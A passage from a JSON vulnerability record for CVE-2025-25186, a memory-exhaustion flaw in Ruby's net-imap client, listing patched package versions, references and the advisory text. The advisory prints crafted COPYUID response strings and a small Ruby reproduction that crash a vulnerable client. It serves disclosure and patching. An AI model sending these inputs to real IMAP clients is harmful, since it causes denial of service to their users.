Hat:enterprise_linux:9::appstream","package":"rubygem-io-console","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.7.1-4.module+el9.5.0+23030+26c9b8e1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"rubygem-io-console-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.7.1-4.module+el9.5.0+23030+26c9b8e1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"rubygem-irb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.13.1-4.module+el9.5.0+23030+26c9b8e1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"rubygem-json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.7.2-4.module+el9.5.0+23030+26c9b8e1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"rubygem-json-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.7.2-4.module+el9.5.0+23030+26c9b8e1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"rubygem-minitest","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.20.0-4.module+el9.5.0+23030+26c9b8e1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"rubygem-mysql2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.5.5-1.module+el9.4.0+21222+faeeed2f"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"rubygem-mysql2-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.5.5-1.module+el9.4.0+21222+faeeed2f"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"rubygem-mysql2-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.5.5-1.module+el9.4.0+21222+faeeed2f"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"rubygem-mysql2-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.5.5-1.module+el9.4.0+21222+faeeed2f"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"rubygem-pg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.4-1.module+el9.4.0+21222+faeeed2f"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"rubygem-pg-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.4-1.module+el9.4.0+21222+faeeed2f"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"rubygem-pg-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.4-1.module+el9.4.0+21222+faeeed2f"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"rubygem-pg-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.4-1.module+el9.4.0+21222+faeeed2f"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"rubygem-power_assert","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.0.3-4.module+el9.5.0+23030+26c9b8e1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"rubygem-psych","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.2-4.module+el9.5.0+23030+26c9b8e1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"rubygem-psych-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.2-4.module+el9.5.0+23030+26c9b8e1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"rubygem-racc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.7.3-4.module+el9.5.0+23030+26c9b8e1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"rubygem-racc-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.7.3-4.module+el9.5.0+23030+26c9b8e1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"rubygem-rake","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:13.1.0-4.module+el9.5.0+23030+26c9b8e1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"rubygem-rbs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.4.0-4.module+el9.5.0+23030+26c9b8e1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"rubygem-rbs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.4.0-4.module+el9.5.0+23030+26c9b8e1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"rubygem-rdoc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.6.3.1-4.module+el9.5.0+23030+26c9b8e1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"rubygem-rexml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.3.9-4.module+el9.5.0+23030+26c9b8e1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"rubygem-rss","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.3.1-4.module+el9.5.0+23030+26c9b8e1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"rubygem-test-unit","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.6.1-4.module+el9.5.0+23030+26c9b8e1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"rubygem-typeprof","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.21.9-4.module+el9.5.0+23030+26c9b8e1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"rubygems","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.5.22-4.module+el9.5.0+23030+26c9b8e1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"rubygems-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.5.22-4.module+el9.5.0+23030+26c9b8e1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"ruby","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.3.8-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"ruby-bundled-gems","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.3.8-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"ruby-bundled-gems-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.3.8-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"ruby-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.3.8-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"ruby-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.3.8-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"ruby-default-gems","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.3.8-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"ruby-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.3.8-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"ruby-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.3.8-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"ruby-libs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.3.8-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"rubygem-bigdecimal","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.5-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"rubygem-bigdecimal-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.5-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"rubygem-bundler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.22-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"rubygem-io-console","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.7.1-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"rubygem-io-console-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.7.1-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"rubygem-irb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.13.1-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"rubygem-json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.7.2-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"rubygem-json-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.7.2-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"rubygem-minitest","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.20.0-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"rubygem-power_assert","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.0.3-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"rubygem-psych","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.2-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"rubygem-psych-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.2-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"rubygem-racc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.7.3-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"rubygem-racc-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.7.3-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"rubygem-rake","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:13.1.0-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"rubygem-rbs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.4.0-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"rubygem-rbs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.4.0-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"rubygem-rdoc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.6.3.1-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"rubygem-rexml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.3.9-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"rubygem-rss","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.3.1-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"rubygem-test-unit","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.6.1-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"rubygem-typeprof","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.21.9-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"rubygems","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.5.22-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"rubygems-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.5.22-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"ruby-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.3.8-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"ruby","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.3.8-4.module+el8.10.0+2004+fd6e8d72"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"rubygem-abrt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.4.0-1.module+el8.10.0+1827+16ecb9d2"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"rubygem-abrt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.4.0-1.module+el8.5.0+668+665814fa"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"rubygem-abrt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.4.0-1.module+el8.9.0+1537+0b2034bd"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"rubygem-abrt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.4.0-1.module+el8.10.0+1679+61871737"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"rubygem-abrt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.4.0-1.module+el8.10.0+1741+bdb5b6ca"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"rubygem-abrt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.4.0-1.module+el8.10.0+1820+f3fffb92"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"rubygem-abrt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.4.0-1.module+el8.10.0+1826+b62220b4"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"rubygem-mysql2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.5.5-1.module+el8.10.0+1679+61871737"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"rubygem-mysql2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.5.5-1.module+el8.10.0+1827+16ecb9d2"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"rubygem-pg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.4-1.module+el8.10.0+1827+16ecb9d2"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"rubygem-pg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.4-1.module+el8.10.0+1679+61871737"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:9","package":"ruby","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.3.8-4.module+el9.6.0+31867+3a5bf654"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:9","package":"rubygem-mysql2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.5.5-1.module+el9.6.0+31867+3a5bf654"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:9","package":"rubygem-pg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.4-1.module+el9.6.0+31867+3a5bf654"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:10","package":"ruby","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.3.8-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"ruby3.2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.2.3-1ubuntu0.24.04.5"}]}],"versions":["3.2.3-1","3.2.3-1build2","3.2.3-1build3","3.2.3-1ubuntu0.24.04.1","3.2.3-1ubuntu0.24.04.3"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"ruby2.7","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.7.0-5ubuntu1.18"}]}],"versions":["2.7.0-1","2.7.0-2","2.7.0-3","2.7.0-4","2.7.0-4ubuntu1","2.7.0-5ubuntu1","2.7.0-5ubuntu1.1","2.7.0-5ubuntu1.2","2.7.0-5ubuntu1.3","2.7.0-5ubuntu1.4","2.7.0-5ubuntu1.5","2.7.0-5ubuntu1.6","2.7.0-5ubuntu1.7","2.7.0-5ubuntu1.8","2.7.0-5ubuntu1.9","2.7.0-5ubuntu1.10","2.7.0-5ubuntu1.11","2.7.0-5ubuntu1.12","2.7.0-5ubuntu1.13","2.7.0-5ubuntu1.14","2.7.0-5ubuntu1.15","2.7.0-5ubuntu1.16","2.7.0-5ubuntu1.17"],"bundled":8},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"ruby3.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.2-7ubuntu2.10"}]}],"versions":["3.0.2-5ubuntu1","3.0.2-7","3.0.2-7ubuntu2","3.0.2-7ubuntu2.1","3.0.2-7ubuntu2.2","3.0.2-7ubuntu2.3","3.0.2-7ubuntu2.4","3.0.2-7ubuntu2.5","3.0.2-7ubuntu2.6","3.0.2-7ubuntu2.7","3.0.2-7ubuntu2.8"],"bundled":8},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"ruby3.2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.2.3-1ubuntu0.24.04.5"}]}],"versions":["3.2.3-1","3.2.3-1build2","3.2.3-1build3","3.2.3-1ubuntu0.24.04.1","3.2.3-1ubuntu0.24.04.3"],"bundled":8}],"products":[{"vendor":"ruby","product":"net-imap"}],"references":[{"url":"https://github.com/ruby/net-imap/security/advisories/GHSA-7fc5-f82f-cx69","tags":["x_refsource_CONFIRM","advisory","web","article","report"]},{"url":"https://github.com/ruby/net-imap/commit/70e3ddd071a94e450b3238570af482c296380b35","tags":["x_refsource_MISC","fix","web","article"]},{"url":"https://github.com/ruby/net-imap/commit/c8c5a643739d2669f0c9a6bb9770d0c045fd74a3","tags":["x_refsource_MISC","fix","web","article"]},{"url":"https://github.com/ruby/net-imap/commit/cb92191b1ddce2d978d01b56a0883b6ecf0b1022","tags":["x_refsource_MISC","fix","web","article"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-25186","tags":["web","advisory"]},{"url":"https://ruby.github.io/net-imap/Net/IMAP/AppendUIDData.html","tags":["web"]},{"url":"https://ruby.github.io/net-imap/Net/IMAP/CopyUIDData.html","tags":["web"]},{"url":"https://ruby.github.io/net-imap/Net/IMAP/UIDPlusData.html","tags":["web"]},{"url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/net-imap/CVE-2025-25186.yml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-7fc5-f82f-cx69"},{"url":"https://access.redhat.com/errata/RHSA-2025:10217","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2025-25186","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2025-27219","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2025-27221","tags":["report"]},{"url":"https://bugzilla.redhat.com/2344680","tags":["report"]},{"url":"https://bugzilla.redhat.com/2349699","tags":["report"]},{"url":"https://bugzilla.redhat.com/2349700","tags":["report"]},{"url":"https://errata.almalinux.org/8/ALSA-2025-10217.html","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2025:8131","tags":["advisory"]},{"url":"https://errata.almalinux.org/10/ALSA-2025-8131.html","tags":["advisory"]},{"url":"https://docs.bell-sw.com/security/cves/CVE-2025-25186","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/25xxx/CVE-2025-25186.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2025-25186","tags":["advisory"]},{"url":"https://github.com/ruby/net-imap","tags":["package"]},{"url":"https://advisories.mageia.org/MGASA-2025-0290.html","tags":["advisory"]},{"url":"https://bugs.mageia.org/show_bug.cgi?id=34179","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-7418-1","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2025-1195","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2025-1196","tags":["advisory"]},{"url":"https://access.redhat.com/security/updates/classification/#moderate","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2344680","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2349699","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2349700","tags":["report"]},{"url":"https://issues.redhat.com/browse/RHEL-68632","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2025/rhsa-2025_10217.json","tags":["advisory"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-25186","tags":["advisory","report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-27219","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-27219","tags":["advisory"]},{"url":"https://www.ruby-lang.org/en/news/2025/02/26/security-advisories/","tags":["article"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-27221","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-27221","tags":["advisory"]},{"url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/uri/CVE-2025-27221.yml","tags":["article"]},{"url":"https://hackerone.com/reports/2957667","tags":["article"]},{"url":"https://access.redhat.com/errata/RHSA-2025:4493","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2025/rhsa-2025_4493.json","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2025/rhsa-2025_8131.json","tags":["advisory"]},{"url":"https://errata.rockylinux.org/RLSA-2025:10217","tags":["advisory"]},{"url":"https://errata.rockylinux.org/RLSA-2025:4493","tags":["advisory"]},{"url":"https://errata.rockylinux.org/RLSA-2025:8131","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2025-25186","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2024-35176","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2024-39908","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2024-41123","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2024-43398","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2025-27219","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2025-27220","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2025-27221","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2025-25186","title":"Net::IMAP vulnerable to possible DoS by memory exhaustion","description":"Net::IMAP implements Internet Message Access Protocol (IMAP) client functionality in Ruby. Starting in version 0.3.2 and prior to versions 0.3.8, 0.4.19, and 0.5.6, there is a possibility for denial of service by memory exhaustion in `net-imap`'s response parser. At any time while the client is connected, a malicious server can send can send highly compressed `uid-set` data which is automatically read by the client's receiver thread. The response parser uses `Range#to_a` to convert the `uid-set` data into arrays of integers, with no limitation on the expanded size of the ranges. Versions 0.3.8, 0.4.19, 0.5.6, and higher fix this issue. Additional details for proper configuration of fixed versions and backward compatibility are available in the GitHub Security Advisory.","status":"published","published":"2025-02-10T15:55:56.666Z","modified":"2025-02-12T15:46:11.581Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","level":"medium","assessor":"cna"}],"cwes":["CWE-400","CWE-405","CWE-409","CWE-770","CWE-789","CWE-1287"],"updated_at":"2026-11-02T14:32:31.971896Z"}],"euvd":[{"id":"EUVD-2025-4076","description":"Net::IMAP implements Internet Message Access Protocol (IMAP) client functionality in Ruby. Starting in version 0.3.2 and prior to versions 0.3.8, 0.4.19, and 0.5.6, there is a possibility for denial of service by memory exhaustion in `net-imap`'s response parser. At any time while the client is connected, a malicious server can send can send highly compressed `uid-set` data which is automatically read by the client's receiver thread. The response parser uses `Range#to_a` to convert the `uid-set` data into arrays of integers, with no limitation on the expanded size of the ranges. Versions 0.3.8, 0.4.19, 0.5.6, and higher fix this issue. Additional details for proper configuration of fixed versions and backward compatibility are available in the GitHub Security Advisory.","status":"published","published":"2025-02-10T15:55:56Z","modified":"2025-02-12T15:46:11Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-03T00:03:58.326443Z"}],"ghsa":[{"id":"GHSA-7fc5-f82f-cx69","title":"Possible DoS by memory exhaustion in net-imap","description":"### Summary\nThere is a possibility for denial of service by memory exhaustion in `net-imap`'s response parser. At any time while the client is connected, a malicious server can send can send highly compressed `uid-set` data which is automatically read by the client's receiver thread. The response parser uses `Range#to_a` to convert the `uid-set` data into arrays of integers, with no limitation on the expanded size of the ranges.\n\n### Details\nIMAP's `uid-set` and `sequence-set` formats can compress ranges of numbers, for example: `\"1,2,3,4,5\"` and `\"1:5\"` both represent the same set. When `Net::IMAP::ResponseParser` receives `APPENDUID` or `COPYUID` response codes, it expands each `uid-set` into an array of integers. On a 64 bit system, these arrays will expand to 8 bytes for each number in the set. A malicious IMAP server may send specially crafted `APPENDUID` or `COPYUID` responses with very large `uid-set` ranges.\n\nThe `Net::IMAP` client parses each server response in a separate thread, as soon as each responses is received from the server. This attack works even when the client does not handle the `APPENDUID` or `COPYUID` responses.\n\nMalicious inputs:\n\n```ruby\n# 40 bytes expands to ~1.6GB:\n\"* OK [COPYUID 1 1:99999999 1:99999999]\\r\\n\"\n\n# Worst *valid* input scenario (using uint32 max),\n# 44 bytes expands to 64GiB:\n\"* OK [COPYUID 1 1:4294967295 1:4294967295]\\r\\n\"\n\n# Numbers must be non-zero uint32, but this isn't validated. Arrays larger than\n# UINT32_MAX can be created. For example, the following would theoretically\n# expand to almost 800 exabytes:\n\"* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\\r\\n\"\n```\n\nSimple way to test this:\n```ruby\nrequire \"net/imap\"\n\ndef test(size)\n input = \"A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\\r\\n\"\n parser = Net::IMAP::ResponseParser.new\n parser.parse input\nend\n\ntest(99_999_999)\n```\n\n### Fixes\n\n#### Preferred Fix, minor API changes\nUpgrade to v0.4.19, v0.5.6, or higher, and configure:\n```ruby\n# globally\nNet::IMAP.config.parser_use_deprecated_uidplus_data = false\n# per-client\nimap = Net::IMAP.new(hostname, ssl: true,\n 